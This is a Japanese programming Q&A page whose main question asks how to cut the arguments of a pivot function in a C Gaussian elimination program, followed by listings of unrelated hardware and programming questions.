    以下のプログラムでは、関数pivotは,3つの引数を利用しているが,これを2つに減らす方法はないか? 教えてください。よろしくお願いします。 /*Gaussian Elimination*/ #include <stdio.h> #include <math.h> /*--------------*/ void inputdata(double [3][4]); void calsol(double [3][4],double [3]); void elimination(double[3][4],double[3][4]); void pivot(int *, double [3][4],int *); void outputdata(double [3]); void checksol(double [3][4], double [3]); /*--------------*/ main(){ double c[3][4], x[3]; /*-----------------------*/ printf("Program of Gauss Elimination\n"); /*-----------------------*/ inputdata(c); /*-----------------------*/ calsol(c,x); /*-----------------------*/ outputdata(x); /*-----------------------*/ checksol(c,x); /*-----------------------*/ return(0); } /*-----------------------*/ void inputdata(double c[3][4]){ int ie,ic; printf("------\n"); printf("Input Data\n"); printf("(a0*x0 + a1*x1 +a2*x2 = a3)\n"); printf("\n"); for(ie=0; ie<=2; ie++){ printf("Equation %d\n",ie); printf("Input a0 a1 a2 a3\n"); for(ic=0;ic<=3;ic++){ scanf("%lf", &c[ie][ic]); } } } /*-----------------------*/ void calsol(double c[3][4], double x[3]){   double cc[3][4]; elimination(c,cc); x[2]=cc[2][3]; x[1]=cc[1][3]-cc[1][2]*x[2]; x[0]=cc[0][3]-cc[0][2]*x[2]-cc[0][1]*x[1]; } /*-----------------------*/ void elimination(double c3[3][4], double cc[3][4]){ int ie,imax,eli; double c2[3][4],c1[3][4]; eli = 0; pivot (&eli,c3,&imax); cc[0][0]=1; cc[0][1]=c3[imax][1]/c3[imax][0]; cc[0][2]=c3[imax][2]/c3[imax][0]; cc[0][3]=c3[imax][3]/c3[imax][0]; for(ie=0;ie<=2;ie++){ if(ie != imax){ c2[ie][0]=0; c2[ie][1]=c3[ie][1]-cc[0][1]*c3[ie][0]; c2[ie][2]=c3[ie][2]-cc[0][2]*c3[ie][0]; c2[ie][3]=c3[ie][3]-cc[0][3]*c3[ie][0]; } } eli = 1; pivot(&eli,c2,&imax); cc[1][1]=1; cc[1][2]=c2[imax][2]/c2[imax][1]; cc[1][3]=c2[imax][3]/c2[imax][1];   for(ie=0;ie<=1;ie++){ if(ie !=imax){ c1[0][2]=c2[ie][2]-cc[1][2]*c2[ie][1]; c1[0][3]=c2[ie][3]-cc[1][3]*c2[ie][1]; } } cc[2][2]=1; cc[2][3]=c1[0][3]/c1[0][2]; } /*-----------------------*/ void pivot(int *eli,double c[3][4],int *imax){ int ie; double cmax; if(*eli ==0){ cmax=0; for(ie=0;ie<=2;ie++){ if(fabs(c[ie][0])>cmax){ cmax=c[ie][0]; *imax=ie; } } } else{ cmax=0; for(ie=0;ie<=1;ie++){ if(fabs(c[ie][1])>cmax){ cmax=c[ie][1]; *imax=ie; } } } } /*-----------------------*/ void outputdata(double x[3]){ int i; printf("------\n"); printf("Solutions\n"); for(i=0;i<=2;i++){ printf("x%d=%14.6e\n",i,x[i]); } } /*-----------------------*/ void checksol(double check[3][4],double x[3]){ double crt,clt; int ie,ic; printf("------\n"); printf("Check Solutions\n"); printf("Left Term Right Term\n"); for(ie =0;ie<=2;ie++){ clt =0 ; for(ic=0;ic<=2;ic++){ clt = clt + check[ie][ic]*x[ic]; } crt = check[ie][3]; printf("%14.6e%14.6e\n",clt,crt); } }

  • 自作パソコンのアドバイスお願いします

    今のパソコンが古過ぎてやばいので 自作したいんですがまだ1度も作ったことが 無いのでアドバイスお願いします。 予算としては11万前後でお願いします。 使用目的は、 ニコニコ動画などの動画サイトの観覧 3Dゲーム(ゲームはまだ決めていません)などです。 動画のエンコードなどはしません。 最近の教えて!gooを参考にしているとソケットLGA775は もう自作としては古いと書いてあったのでintel.verと amd.verを作ってみました。 -intel- cpu  Core 2 Duo E8400 BOX       memory  Pulsar DCDDR2-4GB-800        M/B  GA-EP45-UD3R Rev.1.0        video  ELSA GLADIAC 998 GT V2 512MB       電源   KRPW-V500W        ケース  GZ-X1BPD-100       ドライブ SW-5583-C Blu-ray ドライブ      HDD HDT721010SLA360        モニタ  PTFBHF-22W   22インチ         K/B Natural Ergonomic Desktop 7000 WTA-00014 -AMD- cpu Phenom II X3 720 Black Edition BOX memory W3U1333Q-2G M/B GA-MA790XT-UD4P Rev.1.0 video ELSA GLADIAC GTS 250 512MB 電源  KRPW-V500W      ケース  GZ-X1BPD-100     ドライブ SW-5583-C Blu-ray ドライブ    HDD HDT721010SLA360      モニタ  PTFBHF-22W   22インチ       現段階ではどちらが未来性があるかなども おねがいします。

  • エラーの原因が・・・

    ただいまVisualC++を使ってプログラミング中なのですが、エラーの原因が分からず困っています。 デバッグ開始(緑色のボタンをクリック)して以下のような状態になります。 エラーメッセージは「test.exe の 0x1029e9ee でハンドルされていない例外が発生しました: 0xC0000005: 場所 0xcdcdcdcd を読み込み中にアクセス違反が発生しました。」です。 エラーが出ているのは逆アセンブルのところで、main関数の終わり(}のところ)からステップインをしていった途中の「movsx ecx,byte ptr [eax]」の文でエラーが発生していることが分かりました。 この文はソースのどの部分に対応しているか分からず、困っています。 いつもは配列の添字が要素数を超えていたりするのですが、エラーの場所が場所なので原因が分かりません。 ソースコードは分割が多く、どこを載せていいのかさっぱりです。 情報が少ないので、必要な情報などありましたら言ってください。

  • 青画面が出て起動したりしなかったり・・・

    以前使用していたHDDが時々カリカリと変な音がしていたかと思ったら 起動しなくなってしまったので、HDDのせいだと思い新しくHDDを購入して W2Kを入れました。ところが、ここでもまた青画面が出て起動したりしなかったりになりました。 エラーメッセージは以下のようなものです。 STOP0x0000001E(0x00000005、0x80458502、 0x00000000、0x13A20033) KMODE_EXCEPTION_NOT_HANDLED Adress 80458502 base at 80400000、 DateStamp 3d36668b-ntoskrnl.exe というものです。ntoskrnl.exe とは何でしょうか? 先ほどは、バックアップCDからも起動しなくなってしまい 途方にくれてちょっとbios画面を出して何も変更しないままで OKにしたら、今回のこれが起動しました。 このまま終了したり、またフリーズもたびたびするのでフリーズして リセットしたら起動しなくなりそうです。 何がどう悪いのか、さっぱりわかりません。 アドバイスお願いいたします。 機種はGATEWAYのSELECTPROです もともとのHDDが40GBでしたが 今回かなり大きな容量のHDDをつけたのが 原因でしょうか?(120GB)

  • 絵を描き、その都度のxy座標を一つの配列に記録するものを作っています。

    絵を描き、その都度のxy座標を一つの配列に記録するものを作っています。 http://okwave.jp/qa/q6110995.html の続きです 長くて申し訳ありません (1)マウスのボタンが押されたとき、またその状態でカーソルが動いたときに配列xyにその時の座標drawX,drawYを追加する。次にそれを新しい配列hitohudeの末尾に追加する 現在hitohude = { (drawX1,drawY1),(drawX2,drawY2),(drawX3,drawY3)...} (2)マウスのボタンが上がったら配列allに(1)で作った配列hitohudeを追加する これを文字や絵の画数の数だけ繰り返し all = [ { (x1-1,y1-1),(x1-2,y1-2),(x1-3,y1-3)...} , { (x2-1,y2-1),(x2-2,y2-2),(x2-3,y2-3) }... ] ( ):その都度の座標 { }:一筆の中での座標の集合 [ ]:各筆の集合 を作り、all[5][9][0]のように6筆目の9番目のプロットのx座標を呼び出したりできるようにしたいです。 しかし、BIGIN以外の関数内でhitohudeが読めず、エラーが出てしまいます http://help.adobe.com/ja_JP/ActionScript/3.0_ProgrammingAS3/WS5b3ccc516d4fbf351e63e3d118a9b90204-7f9d.html で説明されていることが原因だと思うのですが、どうすればよいでしょうか? import fl.motion.MotionEvent; import flash.sensors.Accelerometer; masu.addEventListener(MouseEvent.MOUSE_DOWN,BIGIN); masu.addEventListener(MouseEvent.MOUSE_UP,END); var all:Array = new Array(); function BIGIN(eventObject:MouseEvent):void {   var drawX = Math.round(mouseX - masu.x);   var drawY = Math.round(mouseY - masu.y);      comma.text = ","   Xzahyo.text = drawX;   Yzahyo.text = drawY;      var hitohude:Array = new Array(); //ここ   var xy:Array = new Array();      xy.push(drawX,drawY);   hitohude.push(xy);      masu.graphics.lineStyle(Number(hutosa.text),0x000000);   masu.graphics.moveTo(drawX,drawY);      masu.addEventListener(MouseEvent.MOUSE_MOVE,DRAW); } function DRAW(eventObject:MouseEvent):void {   var drawX = Math.round(mouseX - masu.x);   var drawY = Math.round(mouseY - masu.y);      Xzahyo.text = drawX;   Yzahyo.text = drawY;   var xy:Array = new Array;   xy.push(drawX,drawY);   hitohude.push(xy);      masu.graphics.lineTo(drawX,drawY); } function END(eventObject:MouseEvent):void {   masu.removeEventListener(MouseEvent.MOUSE_MOVE,DRAW);   all.push(hitohude);   trace(hitohude); } よろしくお願いします

    • ベストアンサー
    • Flash
    • noname#153433
    • 回答数3
  • 光回線なのに推定転送速度 538.795kbps(0.538Mbps)

    光回線なのに推定転送速度 538.795kbps(0.538Mbps) 67.23kB/secしかでていない 最近マンションがおススメしていたインターネット回線に乗り換えました。しかしオンラインゲームをしようとすると異常にかくかくなため回線スピードを調べてみたところ ------ BNRスピードテスト (ダウンロード速度) ------ 測定サイト: Ver3.5001 測定日時: 2010/04/26 21:13:30 回線/ISP/地域: -------------------------------------------------- 1.NTTPC(WebARENA)1: 538.795kbps(0.538Mbps) 67.23kB/sec 2.NTTPC(WebARENA)2: 359.272kbps(0.359Mbps) 44.54kB/sec 推定転送速度: 538.795kbps(0.538Mbps) 67.23kB/sec となり、ISDNよりやや早くADSLよりも遅いという驚くべき数値でした。この事態に私はどうすればよいのでしょうか。 一応、パソコンのスペックは以下のとおりです。 Operating System MS Windows Vista Home Premium 32-bit SP2 CPU Intel Core 2 Quad Q6600 @ 2.40GHz 51 °C Kentsfield 65nm Technology RAM 4.0GB Dual-Channel DDR2 @ 400MHz 6-6-6-18 Motherboard ASUSTeK Computer INC. P5K-E (LGA775) Graphics Acer P203W @ 1680x1050 W2261 @ 1920x1080 512MB GeForce 9800 GT (Undefined) 37 °C Hard Drives 160.09GB Maxtor Maxtor 6L160M0 ATA Device (IDE) 39 °C 976.76GB Western Digital WDC WD10EADS-00L5B1 ATA Device (IDE) 36 °C 488.39GB Western Digital WDC WD5000AAKS-00YGA0 ATA Device (IDE) 42 °C

  • 12Vバッテリの電圧電流ロガー(USBでPC取込)

    12Vのバッテリ(カーバッテリ)の電圧値と電流値のログをパソコンにUSBで、できるだけ安く・簡単に、取り込みたいです。 バッテリは、最大電流量10Aの充放電機器に繋がっており、充電したり放電したりします。(本当はソーラーパネルで使用するのですが、車での使用を想像してください。) 下記の方法で、問題ないか回答いただけますと幸いです。 また、もっと簡単&安い方法があれば、お教えください。 ちなみに、電圧計だけでしたら、bluetoothでデータ取得できるバッテリモニター[3]は見つけています。 ただ、電流計測もとなるとインジケーター(表示)のみになってしまいます。。 あとは、[1]と[4]を組み合わせて、やりたいことできないでしょうか? -------------------- まずUSBでアナログデータ(下記の電圧値と電流値)を取る方法として、①AD変換USB(STM32F103C8T6 USB インターフェース[1])を使用したいと思っています。 ①に、電圧と電流の計測結果を入力し、PCでログを取りたいと思っています。 【電圧値の計測】 ①は、0~3.3Vまでしか計測できません。 そこで、分圧回路で、電圧を3.3Vまで降圧させようかと思っています。 仮に、Vin = MAX20V(12Vバッテリは、12V以上になるので)として、R1=5Ω、R2(Vout側の抵抗)=1Ω、とすると、Vout = R2/(R1+R2)*Vin = 3.33Vになります。 この電圧を①で計測させることで、20Vまでならば、バッテリ電圧をAD変換USBでPCに取り込めます。 【電流値の計測】 バッテリと直列で、シャント抵抗(10A、75mV)[2]をつなぎ、その電圧値を、①に繋いで計測&計算(換算)することで、電流値をPCに取り込めます。 10A、75mAのシャント抵抗は、抵抗値が、7.5mΩです。 ①が3.3Vで12bit(4096)なので、分解能は約0.8mV=約0.1Aになります。 少し分解能が粗いですが、オペアンプ用の安定した3.3V電源を用意できないため、仕方ないかなと思っています。 あと、放電/充電どちらかが、マイナス電圧になるので、0~3.3Vの①では放電/充電どちらを計測できないかと思っています。 ⇒INA226[4]を買ったほうがいいでしょうか?(①との組み合わせ方がわからないですが。。) [1]STM32F103C8T6 USB インターフェースhttps://www.amazon.co.jp/STM32F103C8T6-%E3%82%A4%E3%83%B3%E3%82%BF%E3%83%95%E3%82%A7%E3%83%BC%E3%82%B9-%E3%83%81%E3%83%A3%E3%83%B3%E3%83%8D%E3%83%AB-12Bit-%E3%82%B5%E3%83%B3%E3%83%97%E3%83%AA%E3%83%B3%E3%82%B0%E3%83%87%E3%83%BC%E3%82%BF%E5%8F%96%E5%BE%97/dp/B083MYVFDK/ref=pd_rhf_dp_s_ci_mcx_mr_hp_d_1/358-9321119-2313268?pd_rd_w=qGlPp&pf_rd_p=7225cbd5-9046-47c0-9711-30772e8cfb94&pf_rd_r=27YVXNHT9Z0KKPYJV2W5&pd_rd_r=b4dc55f3-9ece-4e11-89b6-805fef918381&pd_rd_wg=hiyxl&pd_rd_i=B083MYVFDK&psc=1 [2]シャント抵抗(10A、75mV) https://www.amazon.co.jp/Fenteer-%E3%82%A2%E3%83%8A%E3%83%AD%E3%82%B0%E9%9B%BB%E6%B5%81%E8%A8%88-%E3%82%B7%E3%83%A3%E3%83%B3%E3%83%88%E6%8A%B5%E6%8A%97-75mV-%E3%82%A2%E3%83%B3%E3%83%97%E3%83%A1%E3%83%BC%E3%82%BF/dp/B07D336RZF/ref=pd_vtp_1/358-9321119-2313268?pd_rd_w=M5ze4&pf_rd_p=ae64b7f5-458b-4e9a-9b07-1feecb909091&pf_rd_r=YZ0XS6PG4R8SPJ8EPG48&pd_rd_r=4b5947ed-af9a-43d4-8ce5-0aeb51d5057f&pd_rd_wg=Fb24a&pd_rd_i=B07D2X1VFT&th=1 [3]バッテリモニター(bluetooth、専用スマフォアプリあり) https://www.amazon.co.jp/SunshineLife-%E3%83%90%E3%83%83%E3%83%86%E3%83%AA%E3%83%BC%E3%83%A2%E3%83%8B%E3%82%BF%E3%83%BC-Bluetooth-%E8%87%AA%E5%8B%95%E8%BB%8A%E9%9B%BB%E6%B1%A0%E8%8D%B7%E9%87%8D%E3%83%86%E3%82%B9%E3%83%88%E8%A8%88-Android%E3%81%A8IOS/dp/B08LNYTZSP/ref=sr_1_4?__mk_ja_JP=%E3%82%AB%E3%82%BF%E3%82%AB%E3%83%8A&crid=33SVYTM79D6XH&dchild=1&keywords=%E3%83%90%E3%83%83%E3%83%86%E3%83%AA%E3%83%BC%E3%83%A2%E3%83%8B%E3%82%BF%E3%83%BC&qid=1630287834&s=automotive&sprefix=batteri%2Cautomotive%2C257&sr=1-4 [4] INA226 https://strawberry-linux.com/catalog/items?code=12031

    • buronte
    • 回答数1